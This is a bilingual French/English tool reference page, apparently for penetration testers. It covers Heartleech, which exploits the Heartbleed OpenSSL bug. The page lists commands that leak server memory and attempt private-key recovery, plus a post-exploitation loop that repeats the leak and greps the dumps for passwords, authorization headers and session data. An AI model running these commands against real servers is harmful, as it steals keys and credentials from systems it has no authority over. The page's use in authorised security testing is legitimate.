← retour aux outils back to tools

# Heartleech

Exploite la vulnérabilité Heartbleed (CVE-2014-0160) pour extraire des morceaux de mémoire d'un serveur TLS vulnérable. Exploits the Heartbleed vulnerability (CVE-2014-0160) to extract chunks of memory from a vulnerable TLS server.

↗ https://github.com/robertdavidgraham/heartleech

## Overview

Heartleech is a dedicated exploitation tool for Heartbleed, the 2014 OpenSSL TLS heartbeat extension bug that lets a remote attacker read up to 64KB of a server’s process memory per request — potentially leaking private keys, session tokens, and credentials. It automates repeated exploitation to harvest memory over time and includes a mode specifically aimed at recovering the server’s private key.

## Common Usage

Basic check/exploit against a target on the default HTTPS port

    heartleech <target> -p 443

Save leaked memory to a file for offline analysis (strings, grep)

    heartleech <target> -p 443 -o leaked_memory.bin

Attempt to recover the server’s private key specifically

    heartleech <target> -p 443 --key

Specify a non-HTTPS TLS service (e.g. SMTP STARTTLS)

    heartleech <target> -p 25 --starttls smtp

## Post-Exploitation

Search leaked memory dumps for interesting strings

    strings leaked_memory.bin | grep -iE "password|authorization|session"

    # Repeated runs accumulate more memory coverage over time
    for i in $(seq 1 100); do heartleech <target> -p 443 -o dump_$i.bin; done
    cat dump_*.bin > all_dumps.bin

## Tips

- Only effective against unpatched OpenSSL versions (1.0.1 through 1.0.1f, fixed in 1.0.1g) — verify vulnerability first, e.g. via `nmap --script ssl-heartbleed`
- The private-key recovery mode (`--key`) requires many successful leaks and is not guaranteed to succeed
- Purely historical/legacy relevance on modern engagements — virtually all internet-facing services patched this over a decade ago; still occasionally found on neglected embedded/appliance TLS stacks
- Always confirm authorization scope explicitly before running — memory disclosure can expose highly sensitive data unrelated to the test scope

Help / Man page

    heartleech <host> [options]

      -p <port>          Target port (default 443)
      -o <file>          Save leaked memory to file
      --key               Attempt private key recovery mode
      --starttls <proto>  Use STARTTLS negotiation (smtp, pop3, imap, ftp)
      --autoretry         Automatically retry on connection failure
      --count <n>         Number of heartbeat requests to send
      --sni <hostname>    Set SNI hostname for the TLS handshake
      -v                  Verbose output

## Vue d’ensemble

Heartleech est un outil d’exploitation dédié à Heartbleed, la faille de 2014 dans l’extension heartbeat TLS d’OpenSSL qui permet à un attaquant distant de lire jusqu’à 64 Ko de la mémoire de processus d’un serveur par requête, pouvant potentiellement divulguer des clés privées, des jetons de session et des identifiants. Il automatise l’exploitation répétée pour récolter de la mémoire dans le temps et inclut un mode spécifiquement destiné à récupérer la clé privée du serveur.

## Utilisation courante

    # Vérification/exploitation de base contre une cible sur le port HTTPS par défaut
    heartleech <target> -p 443

    # Sauvegarder la mémoire divulguée dans un fichier pour analyse hors ligne (strings, grep)
    heartleech <target> -p 443 -o leaked_memory.bin

    # Tenter de récupérer spécifiquement la clé privée du serveur
    heartleech <target> -p 443 --key

    # Spécifier un service TLS autre que HTTPS (par ex. SMTP STARTTLS)
    heartleech <target> -p 25 --starttls smtp

## Post-exploitation

    # Rechercher des chaînes intéressantes dans les dumps mémoire divulgués
    strings leaked_memory.bin | grep -iE "password|authorization|session"

    # Les exécutions répétées accumulent une couverture mémoire plus large dans le temps
    for i in $(seq 1 100); do heartleech <target> -p 443 -o dump_$i.bin; done
    cat dump_*.bin > all_dumps.bin

## Conseils

- Efficace uniquement contre des versions OpenSSL non patchées (1.0.1 à 1.0.1f, corrigé en 1.0.1g) : vérifiez d’abord la vulnérabilité, par exemple via `nmap --script ssl-heartbleed`
- Le mode de récupération de clé privée (`--key`) nécessite de nombreuses fuites réussies et n’est pas garanti de réussir
- Purement d’intérêt historique/legacy sur les missions modernes : quasiment tous les services exposés sur internet ont patché cela il y a plus d’une décennie ; encore occasionnellement trouvé sur des piles TLS embarquées/appliances négligées
- Confirmez toujours explicitement le périmètre d’autorisation avant de lancer : la divulgation de mémoire peut exposer des données hautement sensibles sans rapport avec le périmètre du test

Aide / Page de manuel

    heartleech <host> [options]

      -p <port>          Target port (default 443)
      -o <file>          Save leaked memory to file
      --key               Attempt private key recovery mode
      --starttls <proto>  Use STARTTLS negotiation (smtp, pop3, imap, ftp)
      --autoretry         Automatically retry on connection failure
      --count <n>         Number of heartbeat requests to send
      --sni <hostname>    Set SNI hostname for the TLS handshake
      -v                  Verbose output